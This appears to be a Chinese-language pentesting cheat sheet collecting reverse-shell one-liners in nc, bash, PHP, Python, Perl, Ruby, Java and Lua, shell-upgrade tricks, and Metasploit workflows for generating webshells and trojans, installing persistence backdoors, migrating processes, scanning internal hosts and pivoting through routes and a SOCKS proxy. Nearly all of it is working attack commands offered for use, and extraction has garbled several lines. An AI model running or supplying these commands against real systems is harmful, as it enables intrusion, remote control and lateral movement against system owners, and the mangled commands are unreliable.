本文最后更新于:2023年7月18日 下午
反弹shell各种方法 反弹shell 参考链接
在线生成
接收端:
或
MSF接受 (仅参考,不建议)
1 2 3 4 5 >>> use exploit/multi/handler >>> set payloads linux/x64/meterpreter_reverse_tcp>>> set LHOST 192.168 .56 .105 >>> set LPORT 9999 >>> exploit -j
连接成功后输入命令查看seesion列表,
NC反弹shell 反向shell:
1 2 nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1 的9999 端口nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
当目标靶机nc中不存在-e参数时两种串联攻击方法:基本原理就是将输入和输出保存并通过nc传递给攻击机。
1 2 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56. >/tmp/f nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
正向shell:
1 2 nc -lvvp 9999 -e /bin/bash nc Rhost 9999 //hacker
bash反弹shell 1 bash -I &> /dev/tcp/192.168.32.1 /6666 0 >&1
1 /bin/ bash - c 'bash - I &> /dev/ tcp/192.168.32.1/ 6666 0 >& 1 '
1 bash -c 'exec bash -i &>/dev/tcp/192.168.56.5 /9999 <&1 '
Php 1 php -r '$sock =fsockopen("192.168.32.1" ,6666 );exec ("/bin/sh -i <&3 >&3 2>&3" );'
反弹sell
Python 1 python -c 'import socket ,subprocess,os;s=socket .socket (socket .AF_INET,socket .SOCK_STREAM);s.connect(("10.17.0.205" ,6666 ));os.dup2(s.fileno(),0 );os.dup2(s.fileno(),1 ); os.dup2(s.fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ]);'
Perl 1 perl -e 'use Socket; $i ="192.168.32.1" ;$p =6666 ;socket (S,PF_INET,SOCK_STREAM,getprotobyname("tcp" ));if (connect(S,sockaddr_in($p ,inet_aton($i )))){open (STDIN,">&S" );open (STDOUT,">&S" );open (STDERR,">&S" );exec ("/bin/sh -i" );};'
Ruby 1 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java 1 2 3 r = Runtime.getRuntime() p = r.exec(["/bin/bash" ,"-c" ,"exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done" ] as String []) p.waitFor()
Lua 1 lua -e "require('socket' );require('os' );t=socket.tcp();t:connect('10.0.0.1' ,'1234' );os.execute('/bin/sh -i <&3 >&3 2>&3' );"
升级为交互式shell 由于反弹shell有一些问题
1 2 3 4 5 无法使用vim等文本编辑器 不能补全 不能su 没有向上箭头使用历史 等等
因此需要将其升级为正常交互式shell
如何将简单的Shell转换成为完全交互式的TTY
反弹Shell升级为交互式Shell
Upgrade to an intelligent reverse shell
Python 半交互式shell
1 python3 -c "import pty;pty.spawn('/bin/bash')"
完全交互式shell ,未成功,再议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ python -c 'import pty; pty.spawn("/bin/bash")' //启用python交互式 # 把它丢到后台挂起 $ ctrl + z # 重置stty ,也就意味着你看不到输入的内容 $ stty raw -echo # 把后台挂起的程序调回前台 $ fg # 完全刷新终端屏幕 $ reset # 接下来设置环境变量,根据第一步得到的环境变量来设置 $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 行数 columns 列数
以下代码可用,已测
1 2 3 4 5 python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM =xterm Ctrl+z快捷键 stty raw -echo;fg reset
此时已经拥有了一个完全交互式Shell,就可以使用上下左右,vi,tab补全等等一系列操作,并且按Ctrl-c也不会退出。
相关命令解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 stty -echo stty echo stty raw stty -raw bg 将一个在后台暂停的命令,变成继续执行fg 将后台中的命令调至前台继续运行jobs 查看当前有多少在后台运行的命令 ctrl + z 可以将一个正在前台执行的命令放到后台,并且暂停 clear 这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。 reset 这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空
Script升级 1 2 /usr/bin/script -qc /bin/bash /dev/null 命令进入shell模式 # script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。-q选项可以让scirpt命令以静默模式运行,登录进来的用户不会知道script 命令已经运行了。
msf生成shell 使用msfvenom生成wbshell
生成webshell脚本 1 2 3 4 5 6 7 8 9 msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
生成脚本shell 1 2 3 4 5 6 7 8 9 msfvenom -p cmd /unix/reverse_python LHOST= LPORT= -f raw > shell.py msfvenom -p cmd /unix/reverse_bash LHOST= LPORT= -f raw > shell.sh msfvenom -p cmd /unix/reverse_perl LHOST= LPORT= -f raw > shell.pl msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f psh > shell.ps1 powershell.exe -ExecutionPolicy Bypass -File shell.ps1
生成二进制文件 1 2 3 4 5 6 msfvenom -p windows/meterpreter/reverse_tcp LHOST =192.168.56.105 LPORT =6666 -f exe>shell.exe msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST =192.168.56.105 LPORT =6666 -f elf>shell.elf msfvenom -p osx/x86/shell_reverse_tcp LHOST =192.168.56.105 LPORT =6666 -f macho>shell.macho
msf正向连接
生成msf正向马
1 msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe >6666 .exe
监听设置 use exploit/multi/handler
1 2 3 4 5 use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 6666set rhost 10.0.20.99 options
msf反向连接
生成msf反向木马
LHOST设置为windowss7的内网ip地址:LHOST 10.0.20.98
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST =10.0.20.98 LPORT =5555 -f exe -o 5555.exe
监听设置 use exploit/multi/handler
1 2 3 4 5 use exploit/multi/handlerset payload /meterpreter/set set options
生成nc反弹shell命令 1 msfvenom -p cmd/unix/reverse_netcat lhost =192.168.56.105 lport =6666 R
监听端口建立会话 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # msf使用侦听模块 msf> use exploit/multi/handler # 这里的payload与生成shell所用payload要一致,这里以linux为例 msf> set payload linux/x86/meterpreter/reverse_tcpmsf> set LHOST 192.168.56.105msf> set LPORT 6666# exitonsession false 可以让建立监听的端口继续保持侦听。可以接受多个session msf> set ExitOnSession false # -j为后台任务,-z为持续监听 msf> exploit -j -z # 显示所有已连接shell msf> sessions # 进入id 为1的shell msf> sessions 1
横向移动 进程迁移
获得shell时,该shell是极其脆弱,所以需要移动这个shell把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这样使渗透更难被检测到。自动迁移进程命令(run post/windows/manage/migrate)或手动迁移(migrate PID),系统会自动寻找合适的进程然后迁移
1 run post/windows/manage/migrate
可以看到权限迁移至notepad.exe
权限维持
使用netaspoit自带的后门进行权限维持,-X以指定的方式开机自启动,-i反向链接的时间间隔,-r攻击者的IP
1 run persistence -X -i 0 -p 7777 -r 192.168 .56.105
msf监听
1 2 3 4 5 use exploit/multi/handlerset payload /meterpreter/set set run
扫描存活主机
1 2 3 4 use post /windows/gather/arp_scannerset session 1set rhost 10.0.20.1-254run
扫描目标端口
1 2 3 4 5 use auxiliary/scanner/portscan/tcpset ports 22 -500 ,8000 -10000 set rhosts 10.0.20.99 threads 50 run
msf实现内网渗透 路由转发
进入meterpreter会话
1 2 3 4 # 查看网段 meterpreter> get_local_subnets # 查看路由信息 meterpreter> route
background退出当前会话,通过会话1,转发172.17.0.0这个路由
1 2 3 4 msf> route add 172.17.0.0 255.255.0.0 1 msf> route print
到这里 pivot 已经配置好了,在 msf 里对 172.17.0.1 进行扫描(db_nmap)或者访问(psexe 模块,ssh 模块等)将自动代理 session 2 这个会话来访。
使用msf自动添加路由
1 2 msf6 > use post /multi/manage/autoroute meterpreter > run post /multi/manage/autoroute
网路代理
做好上面的路由转发后,这个时候如果想通过其他应用程序来使用这个代理怎么办呢?
这里可以借助 metasploit socks提供一个监听隧道供其他应用程序访问:
1 2 msf> use auxiliary/server/socks_proxy msf> exploit
默认是开放在本机1080端口上,也可以自己修改
1 2 3 4 msf > set version 4a msf > set srvhost 192.168.56.105 msf > set srvport 1080